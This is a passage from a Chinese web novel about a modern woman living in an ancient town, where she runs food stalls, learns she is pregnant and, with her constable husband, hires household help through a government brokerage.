祁晟今日不用去公署,一觉睡到晌午才醒的。 这一觉醒来,也恢复了一半的精气神。 祁晟洗漱的时候,老太太念叨:“这日子啥时候是个头呀,不是去剿匪,就是去巡逻,简直是把你当驴子使唤了。” 祁晟搓了一把脸,应道:“也不是只有我一个人被当成驴使。” 老太太:“那敢情是一群驴。” 祁晟还煞是认真地应:“确实是一群任劳任怨的驴。” 一旁的陆鸢:…… 等吃了中食,陆鸢才问他:“这些天巡逻,有发现什么异常吗?” 祁晟道:“这时间还早,有些地方甚至还没有收割粮食,所以就算是动手也没那么快,顶多是踩点。” “但,大概也知道公署派了人手巡查,所以格外的小心谨慎。” “那这缴粮抵税前的日子是重中之重了,可等缴粮税之后呢,要是那些山贼土匪把百姓的余粮给抢了,那咋办?” 祁晟:“我等都能想得到的,县丞也会想到,他应有安排。” 夏日炎热,陆鸢的小食生意,就麻辣豆皮卖得相对好。 油炸香豆腐卖和油条,豆乳,在夜市街都有人在卖了,选择也就多了,自然也就淡了下来。 至于糖水这边,别家饮子和糖水都卖得不差,因着陆鸢这边的芋头格外香甜软糯,在夜市街出了名,大部分都会奔着这芋头来吃糖水。 见此,陆鸢索性也就没再做油条和豆乳,倒也算轻简了些,也不用准备那么多的活。 这一个摊子和一个铺子,正值一年里头最热闹的几个月,陆鸢一个月也能有近八贯钱的进账。 加上祁晟的工钱,一个月也有十一贯钱的进项,每回双日数钱记账都是陆鸢心情最欢的时候。 再说祁晟那边,八月中旬,总算是熬到了缴了粮税,可以回家了,不需要再外出奔波了。 这个把月下来,不仅瘦了一圈,黑了好几个度。 吃了暮食,天气闷热,一家子都到河岸边消食。 夫妻俩老太太和两个孩子慢慢悠悠地走在后头。 一股凉爽晚风袭来,沿着河岸一排错落的垂柳划着水面,荡出涟漪,孩童嬉笑着从陆鸢身边奔跑而过。 陆鸢恍惚间觉得两个时代的重合了。 这些场景,不管是这个时代,还是她的那个时代,无甚区别。 走在她身旁的祁晟察觉出她的失神,问:“怎了?” 陆鸢回神,笑了笑:“想家了。” 祁晟一默。 也不知道她口中的“家”在何处。 他视线的余光瞥向她,带着试探道:“若是你想家了,我可陪你一同回去。” 陆鸢笑着摇了摇头:“回不去了。” 祁晟看得出来,她的笑中带着无奈。 陆鸢转头对他道:“不管在哪里都好,活着才是最重要的。虽然回不去了吧,但是吧,我也适应了这里的生活,有了至亲的人。” “除了会想家之外,一切都挺好的。” 没有战乱,不愁吃穿,身边有挂念她,也有她挂念的人,日子无外乎如此。 一年的相伴,足以让祁晟对自己妻子有一定的了解。若不是真的回不去,她应该不会说这种话。 他既庆幸,却又心疼。 生离永不相见与死别,也是让人思念入骨的,而唯一好在的地方在于知道自己思念的人还活着。 只是,有时候未必能知道自己思念的人还活着。 祁晟望着她的眼神格外深邃。 陆鸢笑问:“你这眼神……心疼我?” 祁晟笑了笑:“心疼过往一年,你吃了那么多的苦。” 陆鸢“噗呲”一笑:“也没有吃太多的苦。” 满打满算,也就是小半年而已,而后来的这些日子,虽然奔波劳累,但这也就是生活,不管是在这个时代,还是在原来的时代,都是得承受的。 一刻后,走得累了,也就回了家。 祁晟从切了些寒瓜,端到院子的石桌上。 今日回来,恰好看到瓜农在买寒瓜,便也就买了一个回来。 陆鸢拿起一片尝了尝,虽然不是特别甜,但寒瓜的香味特别浓。 她道:“这瓜太大了,吃不完,明天也坏了,一会我给隔壁大娘送些过去。” 祁晟道:“在厨房里,吃完再送吧。” 陆鸢点了点头,然后问:“这瓜归吗?” 祁晟道:“不贵,这么大一个瓜也才十八文钱。” 陆鸢道:“我明日去东市瞧瞧,也买两个瓜,加在糖水里边,又或是捣饮子卖,又或者是削好皮切块卖。” 老太太笑道:“就这一个瓜,还能给你做出这么多的花样。” 陆鸢道:“也不算多花样。” 想了想,又道:“要是能放在井里吊上个把时辰,晚间用来做糖水或是吃起来都是非常爽口的。 ” 只是这也不太现实,这不管是垂柳巷的水井,还是夜市街的水井,时不时都会有人打水,很有可能会把寒瓜打到了井里。而且还会影响到别人打水。 祁晟想了想,道:“糕点铺子的院子不是有一口井吗,他们会蓄水,也不是时时都在用,你要不去问问?” 陆鸢一拊掌:“是呀,我可以去问问糕点铺子的掌柜娘子,下午出摊吊上一个时辰。” 这寒瓜是糖水最佳搭配,还可以做点芋头芋圆。 红薯就不用想了,这会还没传入呢。 就是不知道这绿豆粉代替木薯粉,口感能不能做到软糯。 这夏秋两季,就属糖水和饮子最为挣钱。 她肯定得抓住这个机会,多做几样便宜且好喝的饮子和糖水。 祁晟继而道:“荔枝也熟了,明日我买些回来尝尝。” 老太太道:“那东西上火,买少一些。” 提起荔枝,陆鸢就想起荔枝饮子。 荔枝价格她倒是留意了一下,现在刚上市,会相对贵一些,十文钱左右一斤。 等都上市了,就几文钱一斤。 外地荔枝贵,长安荔枝更是天价,但岭南是荔枝的产地,也没有很好的保存方式,大部分的荔枝都是产地自销。 荔枝做饮子,估计十个人里边,就有五个人会点来喝,肯定得做。 但就要在上头花点心思了。 她倒是看过一些视频,说的就是古代的荔枝饮子。 倒不是真的用荔枝肉做的。 荔枝肉做果汁,味道不算太浓,但要是几颗果肉加上几颗乌梅,便能做成一壶特别浓郁的荔枝饮子。 但荔枝很容易变味,这壶饮子得半个时辰就要喝完,不然就变味。 但要是卖得快,这一壶就是三四盏,一会儿就能卖完了。 “明天下值不用去买荔枝,我早间去市场的时候就顺道买了,我也想做点荔枝饮子。” 老太太笑道:“你就四个人八只手,一个摊子一个铺子各就两个人看顾,又是小食,又是糖水饮子,能忙得过来吗?” 陆鸢:“忙是肯定忙不过来的,所以请了郎君同僚家眷帮忙一段时日了。” 老太太诧异道:“什么时候的事?” 老太太年纪大了,去不得太吵闹的地方,所以已经很久没去夜市街那边了,也不知道什么情况。 祁晟点头:“找了三个帮忙,从七月到十月底。” 铺子多加两个人,摊子多加了一个。 做捕快的,杂七杂八的补贴与奖励,偶尔才会有一贯钱一个月,这些银钱在这些城里要养一大家子的人,也是艰难,是以哪个家里不想补贴一下家用的。 陆鸢和祁晟提起后,他便找了家里较为困难的那几个,与他们说了这事。 这去帮忙的,一晚上二十文钱,除了胡七娘外,和其他人一样的工钱。 陆鸢第二日就拉着小推车去了东市。 这小推车不仅可以用来拉东西出摊,还能用来装菜,很是方便,还有不少人问陆鸢是在哪处买的,怎么买的。 买了菜,荔枝和寒瓜后,陆鸢便找到了他们铺子东家的干果铺子。 东家见着她,笑盈盈的问:“今日吹的什么风,把苏娘子给吹来了?” 陆鸢笑应:“自然吹的是东南风。” “东家,给我包一包乌梅,一包甘草话梅。” 东家利落地给她打包好了,问:“最近天太热了,糖水摊子的生意肯定很好。” 陆鸢应道:“这整条街的糖水,饮子摊子的生意都极好。” 东家道:“要是这么说,我也摆些酸梅汤。” 陆鸢道:“东家你这本来就是买干果的,做酸梅汤也能更省成本。” 东家闻言,一拊掌:“我也觉得可行,再泡点陈皮饮子,说不定也能挣些钱。” 陆鸢道:“东家也可以在铺子外支一个小棚子,泡点酸梅汤和陈皮饮子,一文钱一杯,这早上东市这么多人,不比夜市差。” 东家闻言,还真仔细琢磨了起来:“真别说,还真可以。” 这一桶酸梅汤,成本最多就十文钱,但可以做好几十碗呢。 陆鸢付了钱后,便返回了夜市街。 切了一个瓜,然后送去了糕点铺子。 糕点铺子的掌柜娘子见到她,热情道:“呀,今日怎么有空过来。” 陆鸢把寒瓜递给她,道:“我过来想问问下午能不能在陈娘子你那口井里吊一个时辰的寒瓜,顺道送些寒瓜过来。” 掌柜娘子接过寒瓜,道:“行呀,反正咱们家早上就会把水挑满,平日怕孩子乱跑,其他时间都是封住的,你这瓜还不如晌午就送过来,吊到下午开摊的时候,还能更爽口。” 陆鸢:“那就谢谢陈娘子了。” 陈娘子道:“谢啥呢,你常帮衬我的生意,做了新吃食还不忘送过来,我还等着你用寒瓜做的吃食呢。” 陆鸢笑道:“晚上做好了一定送来。” 说了些话,有客人来了,陆鸢便打算回去,陈娘子忙喊道:“且等等,我最近也尝试做了新糕点,你也拿些回去尝尝。” 陆鸢看着陈娘子忙碌的身影,深有感触。 大家伙似乎都在为生活所奔波。 这样的生活,她确实是已经融入了。 第118章 忙过了夏日, 秋老虎也热得让人恼。 陆鸢趁着祁晟休沐,让他带着自己进了趟山,摘了许多的木莲果,用来做凉粉。 回至家中, 祁晟把两筐木莲果从马车上搬下。 老太太拿了一个仔细看看了, 问:“这果子也不能吃, 要这个果子做甚。” 陆鸢道:“有些地方,会用这些果子做一些糖水。” 老太太看了眼自己的孙子, 然后笑了笑。 相处整一年了,也能看得出来, 她这个孙媳见多识广的程度, 也不输她这个老太婆。 现在便是弄再多的新鲜玩意,她也都已经是见怪不怪了。 “那要怎么弄?”老太太问, 陆鸢:“把这个果切开, 里边的籽和仙草一样, 都可以用来做凉粉, 但我觉得这个做出来的凉粉会更好吃, 可以摘些桂花,夜息香来配。” 夜息香, 也就是薄荷。 老太太点了点头,道:“确实, 这个时候桂花也开花了, 但你知道怎么处理桂花不?” 陆鸢想了想,道:“煮一煮?” 老太太没好气道:“可不能简单的煮一煮, 过几遍清水,不能用手洗,花脆弱, 容易烂了,所以过水得快。过干净了,再蒸煮后晒干,这样才可以食用。” 陆鸢受教地点了点头,随后道:“我先去做一些,让大家伙尝尝。” 陆鸢把木莲果子切开,弄了十几个木莲果,然后再把籽刮到簸箕里头。 现在日头大,晒上半个时辰,就能把籽晒干。 晒干后把木莲籽放在一块麻布里包裹好。 再打了一盆冰凉的井水,然后放到水盆里轻揉细搓着布袋里的木莲果籽,直至盆里的水变黄黏稠,她才作罢,把水盆放在最阴凉的地方,等一个时辰估计就能成形。 家里的院子里,还种了一些夜息香。她摘了一些来煮水,还加了好些糖进去,等凉粉成型了,这夜息香水也凉了。 陆鸢歇晌起来后再去瞧,凉粉已经成型了。 还挺紧实的,她怕做不成型,水还特意放少了一些。 把夜息香水取来,一股子薄荷清香就飘到了鼻息间。 陆鸢做好后,便招呼孩子和老太太,还有祁晟来尝。 老太太道:“这还真比那仙草做的凉粉要好吃,入口冰凉清爽,还紧实弹滑,口感确实比仙草凉粉要更好。” 陆鸢道:“那是因为放了夜息香,夜息香本来就入口冰凉清爽。” 老太太道:“也不仅仅是夜息香的味道,这凉粉晶莹透亮,看着就像是冰块,让人看着就是爽口清亮。” 岭南炎热,除非是特别恶劣的天气,不然也不会下雪,寻常人很少看过水结冰的情况。 不过,祁晟祖上在京城为过官,皇城在北方,见过冰,自然也没什么奇怪的。 老太太问:“你这凉粉打算卖多少钱一份?” 陆鸢道:“单单凉粉的话,两文钱一碗。” 祁晟:“两文钱这一碗,倒也不贵。” 陆鸢:“毕竟这木莲果都是上山摘的,夜息香一文钱一把,桂花也不贵,就糖要钱。” “虽然挣的可能都不够一文钱,但薄利多销,比卖得贵还能更挣钱。” 老太太点了点头:“倒也有道理。” “不过你刚说单卖,还要和先前仙草凉粉那样搭着芋头寒瓜买?” 陆鸢点头:“我还琢磨着煮点红豆,红豆寒瓜凉粉,卖四文钱一份。” 这么搭着来,两碗应该也能挣上三文钱。 抓住这秋季的尾巴,多挣一点也是好的。 时间一晃而过,如白驹过隙,一下子就到了深秋。 深秋昼夜温差大,白日温度适宜。入了夜之后,就凉了起来,夜里待在家里,比外出还舒服,这夜市街一下子少了一半人,生意也没那么好了。 陆鸢便把零时聘的人叫了来,也没有迂回,直接开门见山道:“这几个月大家都辛苦了,眼下客人也都没有那么多,也要不了这么多人干活了,所以等年底,再请你们及未来帮忙。” 一个嫂子倒不大在意道:“先前都是说好的,也没啥。” 来时也明确说过忙到十月份。 陆鸢拿出红封,道:“这段时间大家都辛苦了,我也聊表一下心意。” 然后逐一发了红包,人人都有份。 本来因为要走了,没活干了,而心生郁闷,但看着到手的红包,心情也格外好了起来。 拿到手中,有些沉,像是有五十文钱,这心情又更好了些。 人散了,陆鸢都还有点不习惯。 本来想清闲一点,留一个人的,但毕竟都是熟人,留谁都不太合适,也就一个都没留,还不如等年底的时候,全部又请回来干活。 随着天气寒凉,人越来越少了,凉粉不卖了,糖水种类也少了许多。但芋头糖水毕竟是招牌,卖得是最好的,所以也还留着。豆乳和油条又重新上市。 摊子一个人也够了,铺子也就两个人忙着,陆鸢就白日过去准备做油条的面,还有就是弄好芋泥后,晚上都不过去了,就待在家里偷闲。 祁晟因着时常下值回到家中都见到妻子,这一回下值没见着陆鸢的人影,便到厨房问祖母:“丽娘人呢?” 老太太道:“下午说困,一直睡到了现在,刚去喊的时候,还说要多睡一会儿。” 祁晟看了眼屋子的方向,道:“许是先前夜市买卖太累了,作息一下子没适应过来。” 老太太只是担心道:“但这睡了一下午,晚上还能不能睡得着?” 祁晟想了想,道:“我去喊她。” 他转身回了屋。 屋中拉上了帘子,甚是昏暗,天气又凉爽,自是最适合睡觉的。 祁晟进屋中也没有特意收声,走到床边撩开了帐幔,就见陆鸢睡得甚是香甜,连他进来了,都没有吵醒她。 祁晟推了推陆鸢的肩膀,道:“丽娘,该吃暮食了。” 陆鸢这才睁开惺忪的双眸,诧异地看向他:“你下值了,我到底睡了多久?” 祁晟道:“听祖母说你睡了一个下午。” 陆鸢从床上坐了起来,打了个哈欠,道:“不知怎的,最近总是特别困。” 祁晟闻言,也有些不太放心:“要不找个大夫看看?” 陆鸢犹豫道:“可我除了总犯困外,旁的事一点都没有,就连中食都能多吃一碗饭呢。” 祁晟:“不管如何,身子有异常,就该找大夫瞧瞧,求个安心也好。” 陆鸢:“行吧,明日我从夜市街回来的时候,顺道去一趟医馆。” 陆鸢起了床,一头乌发乱糟糟的。 祁晟给她简单的梳理,用一根簪子挽了个发髻,便是衣裳也是祁晟给她穿上的。 她就懒懒散散的,什么都不想做。 出了堂屋,正巧出去玩的两个孩子也回来了,陆鸢喊道:“先去洗手再吃饭。” 两个孩子都乖乖地去洗手。 老太太笑道:“这派头呀,倒是讲究。” 这乡下的孩子才不会这么讲干净,脏兮兮的手都能直接抓着饼子吃。 陆鸢应道:“这不是跟着老太太和郎君学的吗,你们用食前也都会洗手。” 她在祁晟和老太太面前也没多做伪装,都一年了,有种淡淡的爱咋就咋的懈怠感。 饭菜端上桌,陆鸢吃了一碗饭,又多添了一碗。 老太太瞅了眼她,眼底浮现些许狐疑,问:“先前不说是晚间吃得多容易胖吗?这几天怎都要添饭?” 别人家这么问,肯定是暗示吃得多,但陆鸢了解老太太,知道她没这个意思。 她应道:“也不知怎的,可能最近闲吧,总是觉得饿。” 睡得多了,吃得也多了。 老太太一听,就觉得不太对劲。 她若有所思的瞧了眼春花秋花,也瞧了眼孙媳。 这生过两个孩子的妇人,总该有些经验的。 担心夫妻俩觉得她在催生孩子,便委婉道:“最近你这总是犯困,胃口又大增,若不然去看看大夫吧?” 陆鸢吃着饭,应:“刚应了郎君,明日我去夜市街的时候,顺道去一趟。” 老太太一听,就转头与孙子道:“你明日去公署告个假吧,陪丽娘去一趟。” 陆鸢道:“我能吃能睡,也没有什么太大的问题,我自己去就成了,何至于这么紧张?还让郎君告假一块去。” 老太太不容置疑道:“听我的准没错,明日你们一块去。” 继而看向孙子,语气严肃道:“你娘子的事,你为人丈夫的不上心,还让谁上心?” 祁晟和陆鸢相视了一眼,都不太明白老太太为何这般紧张。 他应:“行,明日一早,我就去公署告一个上午的假,陪丽娘去一趟医馆。” 老太太都这么说了,陆鸢也就没有继续拒绝。 翌日,陆鸢睡醒后,祁晟已经从公署告假回来了。 她本想着去东市吃早饭,但还是被老太太摁在座上喝了一碗蛋粥。 她喝粥的时候,老太太还在一旁叮嘱祁晟:“这赶马车的时候,慢些没关系,平稳最重要,晓得不?” 祁晟点了头 :“知道了。” 老太太想了想,还是不放心,从屋子里拿了两个软枕出来,让孙子放到马车里边。 陆鸢微微眯眸看着老太太忙碌的背影,心下浮现了一个念头。 等离了家后,陆鸢才坐在马车里,和赶着马车的祁晟道:“你有没有觉得老太太从昨晚开始就格外奇怪?” 祁晟道:“祖母那是担心你。” 陆鸢翻了翻白眼,道:“祖母是关心我,可这两日,你不觉得关心过头了?” 说罢,又立马道:“你可别说我生病了,我这一点都不像。且就算是生病了,也不至于给我备了两个软枕在马车里头,还叮嘱你把马车赶得平稳些。” 祁晟一听,也觉得不太对劲。 陆鸢在他身后道:“她不会以为,我有了吧?” 祁晟一愣。 陆鸢又道:“可咱们这都有防范的呀……” 但现代科技发达,也防范不了,都有漏网之鱼,更别说是落后的古代了。 祁晟愣了好一会后,才回神,道:“咱们先去医馆瞧瞧。” 陆鸢笑道:“我以为你会说,我生过两个孩子,肯定有经验。” 祁晟还是那句话,道:“我们先去医馆。” 陆鸢看着他比先前还要绷直的腰背,说到底也是紧张的。 她仔细算了算自己的经期,觉得这事估计有七成是真的。 低头瞧了眼小腹,好像也没有什么特别的感觉。可能是安居乐业,所以接受了这个时代,也接受了有祁晟这个丈夫,生孩子也是正常的,所以也没有什么抵触。 再说现在家里可不止五十贯钱了,不需要为钱财奔波,生活稳定,身体情况也很好,一切也就顺其自然。 到医馆诊过脉后,也证实了老太太和陆鸢的猜测。 陆鸢已经有孕快两个月了。 祁晟听到大夫所言,神色怔怔,有些没反应过来。 好半晌后,才回过神来问大夫:“可我娘子的身子骨,真可以生养了吗?” 老大夫头也没抬,写了一张方子,说:“你娘子的身子健壮,再生几个孩子都不成问题。” 陆鸢一听,吓得连连摇头。 她现在就只想生一个。 老大夫继续道:“先给你们开张药膳的方子,吃几日坐胎,但也不能多吃。” 写完之后,把药方子递了过去。 祁晟忙接过,问:“还有什么需要注意的?” 老大夫道:“忌寒忌凉,前三个月莫要太劳累,夫妻更不能同房。” 祁晟一一的把这些记下,继续追问:“还有吗?” 老大夫没好气道:“怀有身孕的妇人,没那么弱,该吃吃,该走走,别太过于紧张不安,容易让孕妇也焦灼不安,心绪平和最为重要。” 祁晟受教地点了点头。 出医馆有台阶时,祁晟下意识扶上陆鸢的手。 陆鸢古怪地瞧了他一眼:“没这么金贵。” 祁晟道:“方才不是听老大夫说,头三个月得谨慎些。” 陆鸢:…… “感情你没听后半段呀,这该走就走,别太紧张。” 祁晟:“小心点好。” 到了马车旁,也是祁晟小心翼翼地把她扶上马车。 坐定后,马车才慢慢悠悠地驶去,比来时慢得多了。 陆鸢也没催促他,问他:“听说我有孕,你是不是特别开心?” 祁晟如实道:“说实在的,我有些懵,现在也还没缓过来。” 陆鸢笑了笑,随即道:“我刚来路上也猜得差不多,但听到大夫确定时,我也是有点懵。” 有点新奇。 毕竟没真怀过春花秋花姊妹俩,第一次有孕的感觉确实很新奇。 祁晟又道:“现在慢慢回过味来了,我心里很高兴。” 他说这话的时候,嘴角都不受控制地勾起。 陆鸢脸上也浮现浅浅的笑意,不过好一会后,忽然想起家里头的春花和秋花,便道:“咱们先说好,就算有了新的孩子,这也要一碗水端平,可不能因为她们不是你亲生的,就轻待了她们。” 祁晟笑了笑,道:“她们是你的孩子,也是我的孩子,不管以前如何,以后如何,她们都是喊我们做爹娘的孩子。” 她且能视如己出,他自然也能做到。 “如若你不放心,咱们现在就开始给她们攒下嫁妆。” 陆鸢想了想:“也行,从现在起,咱们每个月给她们各存一百文,等以后买了宅子后,再多攒一些。” “不过我可不想让她们那么早就嫁人,起码十七岁才能嫁人。” 十八岁以后生孩子,生育也没有那么凶险。 祁晟道:“行,到时候可以先找好好的人家,先定亲,等她们到了年纪再出嫁。” 陆鸢笑道:“两个孩子加起来也才十岁,咱们就已经想到以后嫁人了,会不会想得太多了?” 祁晟:“父母之爱子,则为之计深远,有时或是当父母的第一天开始,便已经开始为其谋了一生,现在也不早了。” 陆鸢:“扯远了,咱们先说回这一碗水端平这里,老太太怎么,我们也说不得,反正我们得先约法三章,在教孩子这事上,你得听我的,成不?” 祁晟点头:“一切都听你的。” “不过,约法三章,哪三章?” 陆鸢想了想,道:“我训孩子的时候,你不能帮着孩子,不能出声,事后你安慰也行,但就是不能干涉。” 祁晟点头:“行,还有呢?” “还有,你祖母再心疼孩子,也不能在我训孩子的时候帮着,这事你来做中间人,去调节。” 祁晟应:“也行,祖母那里,我去说,最后一点呢?” 陆鸢道:“最小的孩子有的,春花秋花也要有。” 祁晟犹豫了一下:“不一定要一样,行吗?” 陆鸢:“你傻了是不是,我说的是你给孩子买了一个拨浪鼓,也可以给她们带些别的玩意。” “一孕傻三年,这都没生呢,你这就傻了?” 祁晟眉眼一蹙:“这说的应是母亲,不是父亲。” 陆鸢耸了耸肩:“谁知道症状会不会出现在父亲身上。” 一路说着话,平日一刻多时辰就能到家,现在却整整用了三刻才到家中。 这一听到马车的声音,老太太就从屋中出来,等马车进了院子,她忙问:“大夫怎么说?” 祁晟扶着陆鸢下马车,动作小心翼翼的,瞧得老太太心都提了起来,也屏住了呼吸。 陆鸢下了马车后,朝着满脸期待的老太太看去,笑道:“如老太太你的愿了,也算是应承了郎君的承诺了。” 老太太闻言,脸上有喜色,但还是不敢完全确定,瞧着她小腹,依旧试探的问:“真、真有了?” 陆鸢点了点头。 老太太顿时捂住了嘴,喜悦得眼眶都红了,随即话都说得不利索:“不成,我、我得去宰一只鸡,祭拜,告诉列祖列宗,祁家,祁家有后了。” 说着就跑回屋子拿钱去了,出来后,忙道:“丽娘,你先坐着。” “晟哥儿,你且照顾好丽娘,我出去一趟。” 祁晟点头。 老太太反应甚是激动,陆鸢其实也是能理解的。 古人重血脉,不然也不会有无后为不孝的说法。 古代不孝也是入了律法之中的,可见有多重血脉。 更别说还是祁家这种情况,死剩祖孙二人后,子孙延续,估计都快成了老太太的心结了,不然也不会在祁晟活死人的时候,还想着给其娶妻生子了。 第119章 陆鸢有孕后, 老太太日日都想着法子来做吃食,连厨房都不让她进去。 老太太那原本不咸不淡的厨艺,愣是在短短几日内突飞猛进。 晚间夫妻在屋子时,陆鸢感叹老太太的厨艺精进得厉害。 祁晟也不禁感叹:“祖母这原来不是做得不好吃, 是懒得去学, 只要能吃, 能吃得饱就成。” 陆鸢赞同的点了点头,随之道:“可老太太还是太紧张了, 要不是我坚决反对,她估计都想替着我去夜市街了。” 祁晟道:“你上午过去, 下午等我下值去接你, 别人赶马车也不太稳妥,如果有旁的事, 我再托人传口信, 你再自己寻车回去。” 祁晟为了方便她, 如今上下值, 都是架着马车去的。 这古代道路确实不平缓, 陆鸢虽然觉得孕妇没有那么娇气,但头三个月还是谨慎一点为好。 “晓得了。”她应, 可话锋一转,道:“但老太太还是太紧张了, 我提个水都抢着来干, 她那身子骨,我还更担心呢。” 祁晟沉吟道:“这确实是个问题, 而且家里头还有两个孩子,得找个帮手才成。” 不然老的老,小的小, 还有个坐胎的妇人,他还得上值,很不便。 陆鸢想到现在家里的活都是老太太抢着干,她也过意不去。但她执意要干的话,老太太也提心吊胆,对老人的心态情绪不太好。 “确实该请个人来帮忙。” 祁晟:“这请的人,不如买来的靠谱,不若我去牙行买个下人。” 听到买卖人口,陆鸢心里不太舒服,道:“就花钱请吧。” 祁晟瞧着她皱眉的模样,心下了然,继而道:“牙行并非贩卖人口,只是有些人日子过不下去了,才会典到牙行去,是正经来路。他们会被安排去一些家做下人,有活当,也有死当。” “活当,时间一到,便是自由身。” “去公署牙行找人,知根知底,有卖身契在,不怕人跑了或是打骂孩子。” 陆鸢想了想,照顾孩子,确实要找个负责任的,靠谱的。 半晌,她道:“你来办吧,找个生养过的妇人,三十来岁的就成。” 不管活当还是死当,不管在当下时代合法与否,她都听着不舒服。 祁晟点头:“我来办。” 说罢,又道:“我给你松松肩。” 陆鸢自然而然地坐在床上,背对他。 祁晟力道轻缓地揉按,忽然想到以前说过的事,问:“先前你说家中有五十贯钱后,再考虑生孩子的事,咱们现在存钱多少?” 陆鸢扭头瞧了他一眼:“敢情你都没关心过家里银钱。” 祁晟:“我的月俸撑死了也就三贯多,这做了不到一年,还要生活所需,应该也剩不了太多。” 陆鸢道:“你莫不是忘记了你过年的时候挣的三十贯赏银?” 祁晟顿了一下:“还真忘了。” 陆鸢道:“先前几个月的生意好,座无虚席,也挣了挺多银子的,我这几天闲得无事,也算过了,你我的加起来,有八十多贯钱,快九十贯了。” 听到这个数字,祁晟还是讶异了一瞬:“这么多?” 陆鸢笑道:“不然你以为这么多人想做买卖。” 说到这,又道:“年底再挣些,再加上你的月俸,一百贯钱肯定是没有问题的。” 这离买宅子又近了一大步。 第二日,祁晟就问过了公署的老人,去公署牙行怎么挑人。 嵇捕头不经意听到,问:“你们家要买下人?” 祁晟道:“祖母年岁大了,家里还有两个孩子,丽娘一个人还要顾着夜市的生意,顾不过来。” 祖母千叮咛万嘱咐,还坐胎满三个月,不能与旁人说有孕的事,他也就只能先行瞒下。 被问的是公署里管文书的,他道:“嵇捕头查案这么多年了,看犯人也准,还不如让他一同去瞧瞧,掌掌眼。” 祁晟看向嵇捕头:“今日下值后,嵇捕头可方便与我去一趟牙行?” 嵇捕头点了点头:“倒也没有事。” 下值后,二人便一同去了牙行。 祁晟直接与牙子说了要求。 三十岁左右,育有孩子,身体无疾,不要死契,要活契。 牙子奇怪道:“官爷家中可是有孩子要照料,祁晟点了点头。” 牙子瞧他年轻,琢磨着应是找个下人回去照顾有孕的妇人,仔细想了想后,道:“倒是有两个合适的人选,都有孩子,不过其中有一个是寡妇,可在意这个?” 自己妻子就是寡妇,祁晟道:“不介意。” 牙子点了点头,继而道:“她们只愿意签三年的身契,这交付了三十文的银钱给牙行,他们第一个月的工钱也要先交付到牙行,之后她们若是做了错事,或是跑了,牙行也会负部分责任,但同时雇主也不得随意打骂下人,双方都得签订契书。” 公署牙行与私营牙行不同,也更有保障。 不管是对雇主,还是卖身做下人的人。 祁晟问:“每月多少月钱?” 牙行道:“看人和时间长短,她们这三年活当,每月至少需得三百五十文月钱。” 虽尚且算太平,但活计难寻,没点本事傍身的妇人,也没有可倚靠,活下去都艰难。 祁晟点了头:“那就让那两人出来见见。” 牙子遂去喊了人。 不多时,两个妇人从后院出来。 牙行为了方便选人,白日都让人在后院等人挑选,若不来,错过了就是错过了。 若是陆鸢来了,便知道这活脱脱的就是个中介,介绍人去干活的。 再说这两个妇人,一个三十出头,一个快四十的年纪。 祁晟看向嵇捕头,后退了一步,让他来瞧。 嵇捕头审犯人审多了,一上来就格外的凌厉,声音凌厉:“抬起头来。” 两个妇人都被吓得一激灵,忙不迭地抬起头。 看到要雇她们的人,是个冷脸壮硕的汉子,两个人都白了脸。 这都入深秋了,那男人还穿着一件夏衣,依稀可见窄袖勾勒肌肉,总觉着撸起拳头就能把人一拳打死。 两个妇人,年轻些的妇人,样貌清丽,且身段姣好。 嵇捕头问:“哪个是寡妇?” 年纪轻些的妇人应:“我、我是。” 嵇捕头一叹,转头与祁晟道:“这也不用选了,寡妇门前是非多,莫说这般颜色的,日子长久了,总会有嚼舌根的,还不如一开始就免了这麻烦。” 祁晟也是这么想,原想着是个寻常的寡妇,若人尚可,也行。 那寡妇显然听到了这话,“扑通”一下就跪了下来,顿时就急哭了:“我很勤快,也很安分的,我真的很急需一份活计。我也是没法子了,我家中两个孩子,最小的孩子患了病,现今都还在吃药,米粮也要银钱,我若是再找不着活计,日子就过不下去了。” 这去浆洗衣服,一日下来,手都洗得破皮了,也就只能挣五六文钱。 今年粮食没有被山匪所抢,价钱也有所下降,去年还是六文一斤糙米,如今不过四文钱。 但即便如此,也不过只够一斤米,且活还不是日日有。 隔壁年岁大些的妇人虽于心不忍,可都到卖身为奴的情况了,家里也实在揭不开锅了,也就没出声。 嵇捕头瞧了眼,叹了一声,把祁晟拉到门外,压低声音问:“你家娘子的摊子可还缺人?” 这肯定是不能劝人带回家中去的,不用想,也能知道之后一定会传出各种闲话。 祁晟默了默:“天气凉了,客人也少了许多。” 但琢磨起妻子有了身孕,过年后夜市街那般人挤人,定然是不能再去了,肯定会缺人,之后开春后人又多了起来,她的情况,起码有一年多顾不了夜市街,是得请个长时间的人。 “可我便是买下她,也不划算,这夜市街只有十五日是开市的,且也不是每个月都能满十五日的。” 嵇捕头想了想:“不若这样,双日便让她去夜市街帮忙,单日就到我家收拾,洗衣做饭,总归我白日上值,我不在的时候再过去。” “每人平分她的工钱,不比你请人划算?” 嵇捕头孤家寡人一个,家中也确实缺个人收拾,顺道做些饭食。 自己厨艺不佳,也就鲜少下厨,平日都是出去觅食。 祁晟忽然道:“你就没有怀疑她在说谎?” 嵇捕头转头看了眼妇人,转而看回祁晟:“瞧得出她的迫切,且都到卖身为奴了,日子又能好得到哪去?只看这人品性如何罢了。” “年纪稍大的妇人,并没有比惨,便说明她也心软了,心是好的。” 祁晟:“可这妇人要住何处?若是她在城中有住所,那这事便定下。” 嵇捕头闻言,看向跪在地上,一脸期待望着自己的妇人,问:“你在城中可有住处?” 妇人忙不迭地点头:“有的有的。” 若是还能回家,那是最好。 嵇捕头道:“两人都要了,但这位……”他看向年轻妇人。 妇人忙道:“我叫满娘。” 嵇捕头点头继而道:“你双日夜市就在他家铺子帮忙,单日就去我家收拾,浆衣做羹,可愿?” 满娘迫不及待地点头:“愿意愿意的,只要有活计,让我做什么都成。” 嵇捕头看向祁晟。 祁晟略一点头。 事情便也就这么定了下来。 第120章 祁晟与牙行的牙子签好了契书, 明日再来把妇人带走。 回至家中,用暮食时,祁晟便与祖母道:“我去公署牙行买了个下人。” 老太太愣了一下,随即想到家里确实要个人来照料, 且日子也过得去了还能帮忙带孩子, 多个下人也无甚, 也就没任何意见。 虽没有意见,但还是担心道:“靠谱吗?” 祁晟道:“我请嵇捕头一块去瞧的。” 老太太倒是记得这个嵇捕头, 一眼瞧去,就和那正得发邪的关二爷似的。 “那位嵇捕头, 一瞧眼睛就是毒辣的, 有他帮掌眼,靠谱。” “不过, 这多添了一个人, 住哪?” 这家里就三间屋子, 倒座房有春花秋花在住着, 也是不方便。 祁晟道:“我想等丽娘三个月后, 换间大些的宅子,离夜市街也近些。现在就先让孩子俩与祖母住一间, 